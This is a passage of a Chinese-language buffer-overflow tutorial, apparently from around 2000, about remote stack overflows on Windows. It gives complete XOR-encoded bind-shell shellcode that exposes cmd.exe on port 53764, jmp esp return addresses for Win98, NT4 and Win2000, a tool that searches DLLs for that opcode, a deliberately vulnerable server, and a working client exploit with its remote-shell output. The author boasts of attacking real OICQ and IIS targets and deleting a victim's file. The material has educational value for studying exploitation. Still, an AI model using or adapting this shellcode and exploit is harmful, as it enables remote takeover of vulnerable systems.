        STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow =
        SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError =
        hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION
        ProcessInformation;

ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformati
on);
/*
这段代码创建了一个shell（cmd.exe），并且把cmd.exe的标准输入用第二个管道的
读句柄替换。cmd.exe的标准输出和标准错误输出用第一个管道的写句柄替换。
这两个管道的逻辑示意图如下：
(父进程) read<－－－〔管道一〕<－－－write 标准输出(cmd.exe子进程)
(父进程) write－－－>〔管道二〕－－－>read 标准输入(cmd.exe子进程)
*/
unsigned long lBytesRead;
while(1)
        {
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead)
        {
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0)
        break;
}else {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0)
        break;
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret)
        break;
}
}
/*
这段代码完成了客户输入和shell的交互。PeekNamedPipe用来异步的查询管道一，
看看shell是否有输出。如果有就readfile读出来，并发送给客户。如果没有，
就去接受客户的输入。并writefile写入管道传递给shell.
这两个管道与client和server的配合逻辑图如下：
输入命令(Client)
        <-- send(父进程)   read<--〔管道一〕<--write
        标准输出
(cmd.exe子进程)
获得结果(Client)
        recv-->(父进程)write-->〔管道二〕-->read
        标准输入
(cmd.exe子进程)
*/
return
        0;
}
/***************************************************************************
*/
－－－－shellcode疑难问题
下面来写shellcode。针对windows系统缓冲区溢出的特殊性，shellcode有一些新的问题，
我采用如下办法来解决：
1）跳转指令地址的问题
因为在函数返回的时候，esp都指向返回地址后面的地址。(为什么？因为esp在返回
后要指向的地址，就是父函数在压完参数，准备执行call 子函数之前的堆栈顶。)
所以，我们的shellcode的开始位置，就是函数返回的时候，esp所指向的位置。因此，
使用jmp esp 就可以跳到我们的shellcode上来。
当然，这里面作了一个假设，就是程序是由调用者来负责堆栈的恢复的。
汇编代码就是这个样子：
push eax;
push ebx;
push ecx;
call SubRutine
add esp,000C
但是，如果是由子程序来负责恢复堆栈，
SubRutine:
....
:010091F3 C9 leave
:010091F4 C20C00 ret 000C
esp就不是指向我们的shellcode开始位置。它将指向shellcode+0c的位置。
事实上，当你在试图发现敌人程序的一个溢出点时，这个数值(这里是0C)是可以
很精确的发现的，因为你可以看到他的汇编原代码呀！
为了解决这种情况下shellcode不能被正确执行的问题，我们可以在shellcode前面
加上0c个nop.
这样，我们需要作的事情，就是用内存中一个jmp esp指令的地址，来覆盖敌人程序的返回地址。
在内存中，当然有很多dll都会有jmp esp指令，我选择了kernel32.dll里面的指令，因为
这kernel32.dll是系统核心DLL，加载在前面，后面的dll安装地址要随前面dll的
变动而变动，为了通用性的考虑，采用KERNEL32.DLL。
那么这些地址就是固定的了：
win98第二版下(4.00.2222a)，返回地址为：0xbff795a3
winnt4下(4.00.1381),返回地址为：0x77f0eac3
win2000下(5.00.2195)，返回地址为：0x77e2e32a
以上地址，我们可以在测试的时候使用，但是，在真正对付敌人的时候，为了区别出
选择哪一个地址，就需要首先摸清敌人的操作系统以及dll版本号。
jmp esp 地址如果不对，敌人的程序就会出现"无效页错误"对话框，并且一定会当掉，
所以，在攻击之前，必须通过一些蛛丝马迹，判断敌人的类型。
以下是测试时候使用的代码：
#ifdef WIN2000
#define
        JUMPESP "\x2a\xe3\xe2\x77"
#endif
#ifdef WINNT4
#define JUMPESP
        "\xc3\xea\xf0\x77"
#endif
#ifdef WIN98 //2222a
#define JUMPESP
        "\xa3\x95\xf7\xbf"
#endif
#ifdef EXPLOIT
#define JUMPESP
        "敌人目标程序上的jmp esp地址。"
#endif
如果你有softice，可以直接在内存里面搜ffe4。如果没有，
绿色兵团的Backend 写过一个小程序可以搜索user32.dll中的FFE4（jmp esp）串。
我把他改了一下，可以搜索指定dll中的FFE4。算法如下：
/****************************************************************************/
/*ffe4.cpp By Backend
*/
bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("User32");
if(argc>1) {
strcpy(dllname,argv[1]);
}
h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "<<dllname<<endl;
return 1;
}
we_loaded_it = true;
}
BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++)
{
try
{
if(ptr[y] == 0xFF
        && ptr[y+1] == 0xE4)
{
int pos = (int)ptr + y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
}
}
catch(...)
{
cout<<"END OF
        "<<dllname<<" MEMORY REACHED"<<endl;
done = true;
}
}
if(we_loaded_it) FreeLibrary(h);
/****************************************************************************/
2)shellcode所使用函数的问题
在shellcode里面使用了很多win32函数，比如ReadFile,CreateProcess等等。
这些函数必须加载到了敌人程序的进程空间里面后我们才能使用。
我们将攻击的敌人的远程服务程序里面并不能保证已经load了我们所需要的
所有的函数。
我们希望可以作出一个平台无关的shellcode,这就必须：
不直接使用OS版本相关的函数入口地址。
这是因为函数入口地址是根据OS/SP/升级的版本不同而可能不同的。
唯一的办法就是对使用的每一个win32函数，都使用LoadLibrary加载dll，
用GetProcAddress函数来获得函数地址。这需要我们的shellcode里面有一个函数名表
保存每一个所使用的函数的函数名，并且在shellcode执行前，调用上述两个函数
一一获得这些函数的地址。
但是又有一个问题，就是LoadLibrary和GetProcAddress本身的地址怎么获得呢？
我们想一想，这两个函数的作用？"取得所有其他函数的地址。"
没错，他们太重要了，每一个win32程序都要使用它们！那么，我们的目标程序呢？
肯定也会有它们的。所以，在写exploit的时候，这两个函数的地址都是确定的。
如何找到这两个函数在目标程序里面的加载地址呢？它们会不会是根据敌人操作系统
的不同而变化的呢？不是。这些动态加载的函数都是在目标程序里面设置了一个入口表。
由目标程序自己去加载，但是他的入口表地址是固定的。
你可以使用wdasm32来搜索LoadLibrary和GetProcAddress,
可以看到它们对应的入口表地址AAAA。在shellcode里面，
可以直接用call [AAAA]来引用它们。
3)shellcode里面使用的字符串问题
刚刚解决了第二个问题，就引出了第三个问题。前面提到过使用函数名表以用来动态获得
函数地址。但是这些函数名字都要以\0x0结尾的！我们的shellcode最基本的一条，
就是里面绝对不能含有\0x0，也不可以有回车换行\n.
解决的办法，就是先对字符串表进行编码（好吓人）处理，处理掉所有的非法字符，
shellcode在使用前，由一个子程序来进行解码。
我使用的方法就是对字符串进行 xor 0x99处理。这样编解码就是一个程序了。
下面是编解码程序：
0xb1, 0xc6, /* mov cl, C6 */
0x8b, 0xc7, /* mov eax, edi */
/*Xorshellcode */ /* */
0x48, /* dec eax */
0x80, 0x30, 0x99, /* xor byte ptr [eax], 99 */
0xe2, 0xfa, /* loop Xorshellcode */
呵呵，一点都不吓人，很简单，是不是？
我们将使用的资源列表就是前面使用的所有函数，加上"cmd.exe"。具体为：
/****************************************************************************/
db "KERNEL32" ,0;string to push for LoadLibrary.
db "CreatePipe",0
db "GetStartupInfoA",0
db "CreateProcessA",0
db "PeekNamedPipe",0
db "GlobalAlloc",0
db "WriteFile",0
db "ReadFile",0
db "Sleep",0
db "ExitProcess",0
db "WSOCK32",0
db "socket",0
db "bind",0
db "listen",0
db "accept",0
db "send",0
db "recv",0

sockstruc STRUCT
sin_family dw 0002h
sin_port dw ?
sin_addr dd ?
sin_zero db 8 dup (0)
sockstruc ENDS

db "cmd.exe",0
dd 0ffffffffh
db 00dh, 00ah

/****************************************************************************/
4)shellcode的编写
将前面的C程序编译出来，提取出shellcode，然后加上前面的编解码和函数加载模块就可以了。

应用前面的设计思想，我们可以写出来shellcode如下：
unsigned char sploit[580] = {
0x90, 0x8b, 0xfc, /* mov edi,esp */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0xf7, 0xd0, /* not eax */
0x50, /* push eax */
0x59, /* pop ecx */
0xf2, /* repnz */
0xaf, /* scasd */
0x59, /* pop ecx */
0xb1, 0xc6, /* mov cl, C6 */
0x8b, 0xc7, /* mov eax, edi */
/*Xorshellcode */ /* */
0x48, /* dec eax */
0x80, 0x30, 0x99, /* xor byte ptr [eax], 99 */
0xe2, 0xfa, /* loop Xorshellcode */
0x33, 0xf6, /* xor esi, esi */
0x96, /* xchg eax,esi */
0xbb,0x99, 0xe8, 0x61, 0x42, /* mov ebx, &LoadLibrary */
0xc1, 0xeb, 0x08, /* shr ebx, 08 */
0x56, /* push esi */
0xff, 0x13, /* call dword ptr [ebx] */
0x8b, 0xd0, /* mov edx, eax */
0xfc, /* cld */
0x33, 0xc9, /* xor ecx, ecx */
0xb1, 0x0b, /* mov cl, 0B */
0x49, /* dec ecx */
/* loadKernelProcess */ /* */
0x32, 0xc0, /* xor al, al */
0xac, /* lodsb */
0x84, 0xc0, /* test al, al */
0x75, 0xf9, /* jne loadKernelProcess */
0x52, /* push edx */
0x51, /* push ecx */
0x56, /* push esi */
0x52, /* push edx */
0xb3, 0xe4, /* mov bl, e4 &GetProcAddr */
0xff, 0x13, /* call dword ptr [ebx] */
0xab, /* stosd */
0x59, /* pop ecx */
0x5a, /* pop edx */
0xe2, 0xec, /* loop loadKernelProcess */
/* */
0x32, 0xc0, /* xor al, al */
0xac, /* lodsb */
0x84, 0xc0, /* test al, al */
0x75, 0xf9, /* jne 00000176 */
0xb3, 0xe8, /* mov bl, e8 */
0x56, /* push esi */
0xff, 0x13, /* call dword ptr [ebx] */
0x8b, 0xd0, /* mov edx, eax */
0xfc, /* cld */
0x33, 0xc9, /* xor ecx, ecx */
0xb1, 0x06, /* mov cl, 06 */
/* loadSocketProcess */
0x32, 0xc0, /* xor al, al */
0xac, /* lodsb */
0x84, 0xc0, /* test al, al */
0x75, 0xf9, /* jne loadSocketProcess */
0x52, /* push edx */
0x51, /* push ecx */
0x56, /* push esi */
0x52, /* push edx */
0xb3, 0xe4, /* mov bl, e4 */
0xff, 0x13, /* call dword ptr [ebx] */
0xab, /* stosd */
0x59, /* pop ecx */
0x5a, /* pop edx */
0xe2, 0xec, /* loop loadSocketProcess */
/*
这一段代码就是前期的准备工作，它负责获得所有的函数的入口地址，这些函数是：
"KERNEL32.dll"
"CreatePipe"
"GetStartupInfoA"
"CreateProcessA"
"PeekNamedPipe"
"GlobalAlloc"
"WriteFile"
"ReadFile"
"Sleep"
"ExitProcess"

"WSOCK32.dll"
"socket"
"bind"
"listen"
"accept"
"send"
"recv"
*/
0x83, 0xc6, 0x05, /* add esi, 00000005 */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0x40, /* inc eax */
0x50, /* push eax */
0x40, /* inc eax */
0x50, /* push eax */
0xff, 0x57, 0xe8, /* call [edi-18] */
0x93, /* xchg eax,ebx */
0x6a, 0x10, /* push 00000010 */
0x56, /* push esi */
0x53, /* push ebx */
0xff, 0x57, 0xec, /* call [edi-14] */
0x6a, 0x02, /* push 00000002 */
0x53, /* push ebx */
0xff, 0x57, 0xf0, /* call [edi-10] */
0x33, 0xc0, /* xor eax, eax */
0x57, /* push edi */
0x50, /* push eax */
0xb0, 0x0c, /* mov al, 0C */
0xab, /* stosd */
0x58, /* pop eax */
0xab, /* stosd */
0x40, /* inc eax */
0xab, /* stosd */
0x5f, /* pop edi */
0x48, /* dec eax */
0x50, /* push eax */
0x57, /* push edi */
0x56, /* push esi */
0xad, /* lodsd */
0x56, /* push esi */
0xff, 0x57, 0xc0, /* call [edi-40] */
0x48, /* dec eax */
0x50, /* push eax */
0x57, /* push edi */
0xad, /* lodsd */
0x56, /* push esi */
0xad, /* lodsd */
0x56, /* push esi */
0xff, 0x57, 0xc0, /* call [edi-40] */
0x48, /* dec eax */
0xb0, 0x44, /* mov al, 44 */
0x89, 0x07, /* mov dword ptr [edi], eax */
0x57, /* push edi */
0xff, 0x57, 0xc4, /* call [edi-3C] */
0x33, 0xc0, /* xor eax, eax */
0x8b, 0x46, 0xf4, /* mov eax, dword ptr [esi-0C] */
0x89, 0x47, 0x3c, /* mov dword ptr [edi+3C], eax */
0x89, 0x47, 0x40, /* mov dword ptr [edi+40], eax */
0x8b, 0x06, /* mov eax, dword ptr [esi] */
0x89, 0x47, 0x38, /* mov dword ptr [edi+38], eax */
0x33, 0xc0, /* xor eax, eax */
0x66, 0xb8, 0x01, 0x01, /* mov ax, 0101 */
0x89, 0x47, 0x2c, /* mov dword ptr [edi+2C], eax */
0x57, /* push edi */
0x57, /* push edi */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0x50, /* push eax */
0x50, /* push eax */
0x40, /* inc eax */
0x50, /* push eax */
0x48, /* dec eax */
0x50, /* push eax */
0x50, /* push eax */
0xad, /* lodsd */
0x56, /* push esi */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0xff, 0x57, 0xc8, /* call [edi-38] */
0xff, 0x76, 0xf0, /* push [esi-10] */
0xff, 0x57, 0xcc, /* call [edi-34] */
0xff, 0x76, 0xfc, /* push [esi-04] */
0xff, 0x57, 0xcc, /* call [edi-34] */
0x48, /* dec eax */
0x50, /* push eax */
0x50, /* push eax */
0x53, /* push ebx */
0xff, 0x57, 0xf4, /* call [edi-0C] */
0x8b, 0xd8, /* mov ebx, eax */
0x33, 0xc0, /* xor eax, eax */
0xb4, 0x04, /* mov ah, 04 */
0x50, /* push eax */
0xc1, 0xe8, 0x04, /* shr eax, 04 */
0x50, /* push eax */
0xff, 0x57, 0xd4, /* call [edi-2C] */
0x8b, 0xf0, /* mov esi, eax */
/* PeekPipe: */
0x33, 0xc0, /* xor eax, eax */
0x8b, 0xc8, /* mov ecx, eax */
0xb5, 0x04, /* mov ch, 04 */
0x50, /* push eax */
0x50, /* push eax */
0x57, /* push edi */
0x51, /* push ecx */
0x56, /* push esi */
0xff, 0x77, 0xa8, /* push [edi-58] */
0xff, 0x57, 0xd0, /* call [edi-30] */
0x83, 0x3f, 0x01, /* cmp dword ptr [edi], 0000000*/
0x7c, 0x22, /* jl GetUserInput */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0x57, /* push edi */
0xff, 0x37, /* push dword ptr [edi] */
0x56, /* push esi */
0xff, 0x77, 0xa8, /* push [edi-58] */
0xff, 0x57, 0xdc, /* call [edi-24] */
0x0b, 0xc0, /* or eax, eax */
0x74, 0x2f, /* je GameOver */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0xff, 0x37, /* push dword ptr [edi] */
0x56, /* push esi */
0x53, /* push ebx */
0xff, 0x57, 0xf8, /* call [edi-08] */
0x6a, 0x50, /* push 00000050 */
0xff, 0x57, 0xe0, /* call [edi-20] */
0xeb, 0xc8, /* jmp PeekPipe */
/* GetUserInput: */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0xb4, 0x04, /* mov ah, 04 */
0x56, /* push esi */
0x53, /* push ebx */
0xff, 0x57, 0xfc, /* call [edi-04] */
0x57, /* push edi */
0x33, 0xc9, /* xor ecx, ecx */
0x51, /* push ecx */
0x50, /* push eax */
0x56, /* push esi */
0xff, 0x77, 0xac, /* push [edi-54] */
0xff, 0x57, 0xd8, /* call [edi-28] */
0x6a, 0x50, /* push 00000050 */
0xff, 0x57, 0xe0, /* call [edi-20] */
/* GameOver: */
0xeb, 0xaa, /* jmp PeekPipe */
0x50, /* push eax */
0xff, 0x57, 0xe4, /* call [edi-1C] */
0x90, /* nop */
/*
这里的长长代码就是那段C语言的算法，我的注释很详细，就不多说了
*/
0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,
0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,
0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,
0xda, 0xd2, 0xaa, 0xab, 0x99, 0xae, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,
0x4b, 0x9d, // word value for bind port, 4b9d xor 9999h=53764
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff,
0x0d, 0x0a};
/*
这些就是那个字符串表，已经经过了编码。
*/


window系统下的远程堆栈溢出 实战篇

代码作者:Ipxodi
下面是一个有问题的internet服务程序：
/****************************************************************************/
/* server.cpp By Ipxodi
*/
#include <winsock2.h>
#include
        <stdio.h>
char Buff[1024];
void overflow(char * s,int
        size)
{
char s1[50];
printf("receive %d
        bytes",size);
s[size]=0;
strcpy(s1,s);
}
int main()
{
WSADATA
        wsa;
SOCKET listenFD;
int ret;
char
        asd[2048];
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
  server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr
        *)&server,sizeof(server));
ret=listen(listenFD,2);

int iAddrSize =
        sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr
        *)&server,&iAddrSize);
unsigned long
        lBytesRead;
while(1)
        {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0)   break;
overflow(Buff,lBytesRead);
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
  }
WSACleanup();
return
        0;
}
/****************************************************************************/
函数Overflow有问题，看到了吗？
好，现在我们来写溢出攻击程序：
1)先算一下溢出（返回）地址应该在哪里？
（：啊？算出？你上次不是用程序试吗？我好不容易才看懂你的算法，这次怎么不用了？
：唉，老兄，上次是没有敌人的原代码，懒得看汇编，才会试，
现在原代码就放在你眼前，你自己算一下不就出来了？)
下面是溢出时刻堆栈布局：
内存底部 内存顶部
buffer EBP ret
<------ [NNNNNNNNNNN][N ] [A ]SSSS
^&buffer
堆栈顶部 堆栈底部
可以看到，buffer我们开的是50，32位系统针对数组进行四位对齐，所以实际缓冲区是
52,加上EBP占去4个字节，就是52+4=56,那么，ret就是第56字节了。
2)再看看server里面LoadLibrary和GetProcAddress的地址是什么？
启动wdasm32,加载server.exe
:004028EC 68F0014200 push 004201F0
* Reference To: KERNEL32.LoadLibraryA, Ord:01C2h
|
:004028F1 FF15E8614200 Call dword ptr [004261E8]
好，KERNEL32.LoadLibraryA（就是LoadLibrary的别名）的入口地址：0x004261E8。
:00402911 51 push ecx
* Reference To: KERNEL32.GetProcAddress, Ord:013Eh
|
:00402912 FF15E4614200 Call dword ptr [004261E4]
好，KERNEL32.GetProcAddress的入口地址：0x004261E4。
这两个地址都有00，我们不能直接在shellcode里面引用，因此采用如下变通方案：
0xbb,0x99, 0xe8, 0x61, 0x42, /* mov ebx, 004261E8h;(&LoadLibrary) */
0xc1, 0xeb, 0x08, /* shr ebx, 08 */
以及
0xb3, 0xe4, /* mov bl, e4 &GetProcAddr */
3)写出client：
/****************************************************************************/
/* client.cpp By Ipxodi
*/
#include <winsock2.h>
#include <stdio.h>
#define WIN2000
#ifdef WIN2000
#define JUMPESP
        "\x2a\xe3\xe2\x77"
#endif
#ifdef WIN98
#define JUMPESP
        "\xa3\x95\xf7\xbf"
#endif
unsigned char eip[8] = JUMPESP;
unsigned char sploit[580] = {
0x90, 0x8b, 0xfc,
0x33, 0xc0, 0x50, 0xf7, 0xd0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0xc6,
0x8b, 0xc7, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6, 0x96, 0xbb,
0x99, 0xe8, 0x61, 0x42, 0xc1, 0xeb, 0x08, 0x56, 0xff, 0x13, 0x8b, 0xd0,
0xfc, 0x33, 0xc9, 0xb1, 0x0b, 0x49, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75,
0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13, 0xab, 0x59, 0x5a,
0xe2, 0xec, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0xe8, 0x56,
0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x06, 0x32, 0xc0, 0xac,
0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13,
0xab, 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40,
0x50, 0x40, 0x50, 0xff, 0x57, 0xe8, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff,
0x57, 0xec, 0x6a, 0x02, 0x53, 0xff, 0x57, 0xf0, 0x33, 0xc0, 0x57, 0x50,
0xb0, 0x0c, 0xab, 0x58, 0xab, 0x40, 0xab, 0x5f, 0x48, 0x50, 0x57, 0x56,
0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0x50, 0x57, 0xad, 0x56, 0xad, 0x56,
0xff, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x07, 0x57, 0xff, 0x57, 0xc4,
0x33, 0xc0, 0x8b, 0x46, 0xf4, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b,
0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0xb8, 0x01, 0x01, 0x89, 0x47,
0x2c, 0x57, 0x57, 0x33, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0x48, 0x50,
0x50, 0xad, 0x56, 0x33, 0xc0, 0x50, 0xff, 0x57, 0xc8, 0xff, 0x76, 0xf0,
0xff, 0x57, 0xcc, 0xff, 0x76, 0xfc, 0xff, 0x57, 0xcc, 0x48, 0x50, 0x50,
0x53, 0xff, 0x57, 0xf4, 0x8b, 0xd8, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1,
0xe8, 0x04, 0x50, 0xff, 0x57, 0xd4, 0x8b, 0xf0, 0x33, 0xc0, 0x8b, 0xc8,
0xb5, 0x04, 0x50, 0x50, 0x57, 0x51, 0x56, 0xff, 0x77, 0xa8, 0xff, 0x57,
0xd0, 0x83, 0x3f, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xff, 0x37,
0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xdc, 0x0b, 0xc0, 0x74, 0x2f, 0x33,
0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0xff, 0x57, 0xf8, 0x6a, 0x50, 0xff,
0x57, 0xe0, 0xeb, 0xc8, 0x33, 0xc0, 0x50, 0xb4, 0x04, 0x50, 0x56, 0x53,
0xff, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xac,
0xff, 0x57, 0xd8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xaa, 0x50, 0xff,
0x57, 0xe4, 0x90, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,
0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,
0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,
0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,
0x4b, 0x9d, //port=53764
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff,
0x0d, 0x0a};
int main()
{
WSADATA wsa;
SOCKET sockFD;
char Buff[1024],*sBO;
WSAStartup(MAKEWORD(2,2),&wsa);
sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=inet_addr("127.0.0.1");
  connect(sockFD,(struct sockaddr
        *)&server,sizeof(server));
for(int
        i=0;i<56;Buff[i++]=0x90);
strcpy(Buff+56,(char
        *)eip);
strcpy(Buff+60,(char *)sploit);
sBO =
        Buff;
send(sockFD,sBO,56+4+560,0);
closesocket(sockFD);
WSACleanup();
return 1;
}
/****************************************************************************/
运行server,然后运行client.之后，telnet localhost 53764,看到了什么？
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-1998 Microsoft Corp.
D:\MyProjects\server>dir
dir
驱动器 D 中的卷没有标签。
卷的序列号是 3C2F-72BB
D:\MyProjects\server 的目录
2000-04-26 17:52 <DIR> .
2000-04-26 17:52 <DIR> ..
2000-04-25 11:17 <DIR> Debug
2000-04-23 20:23 3,288 server.001
2000-04-25 11:16 926 server.cpp
2000-04-25 10:33 3,325 server.dsp
2000-04-25 10:33 535 server.dsw
2000-04-26 17:52 41,984 server.ncb
2000-04-26 17:52 49,664 server.opt
2000-04-25 11:24 509 server.plg
7 个文件 100,231 字节
3 个目录 8,688,173,056 可用字节
D:\MyProjects\server>
呵呵，大功告成。

－－－－后记
大家通过钻研，可以知道，这是一个windows下通用的远程溢出shellcode。
使用这个shellcode，稍加改动，我们可以编写出其他的远程溢出程序。
实现对任何已知存在缓冲区溢出问题的程序的远程控制。
事实上，为了发现溢出漏洞，你必须深入钻研敌人的程序代码，找到他的
有问题代码。这本身就可以单开一讲来详细阐述。
windows下的Cracker们，你们的破解跟踪技术将在这个领域
得到最大的利用。我估计，在不久的将来，会有很多Cracker，公布一系列
windows缓冲区溢出漏洞。
上面所示的，只不过是一个实验用的server程序，事实上，
我们已经完成了Oicq远程溢出程序的实现和IisHack中文NT版的移植。
当我telnet victim 53764上敌人的机器，删除了他的autoexec.001时，
真是一切尽在掌握。我心中想的，就是：
windows Nt/2000的远程溢出时代，开始了！我们再也不需要木马了！
因为上述程序的攻击性太强，我就不公布原代码了，我希望
如果有人基于我的shellcode写出了远程溢出程序，请先通知软件供应商，
等待patch出来后，再公布你们的溢出程序。
因为，发现漏洞的目的，并不是为了破坏，而是为了消除漏洞，提高安全。
－－－－参考书目：
0)ipxodi 《window系统下的堆栈溢出》IsBaseMagzine 20003。
1)dark spyrit AKA Barnaby Jack的Phrack Magzine55上的经典文章。
2)Backend的《Windows 2000缓冲区溢出入门》 IsBaseMagzine 20004。
3)《windows网络编程技术》 Anthory Jones,Jim Ohlund.（机械版京京译）


[转载]一次完整的缓冲区溢出攻击分析
文章作者：小四
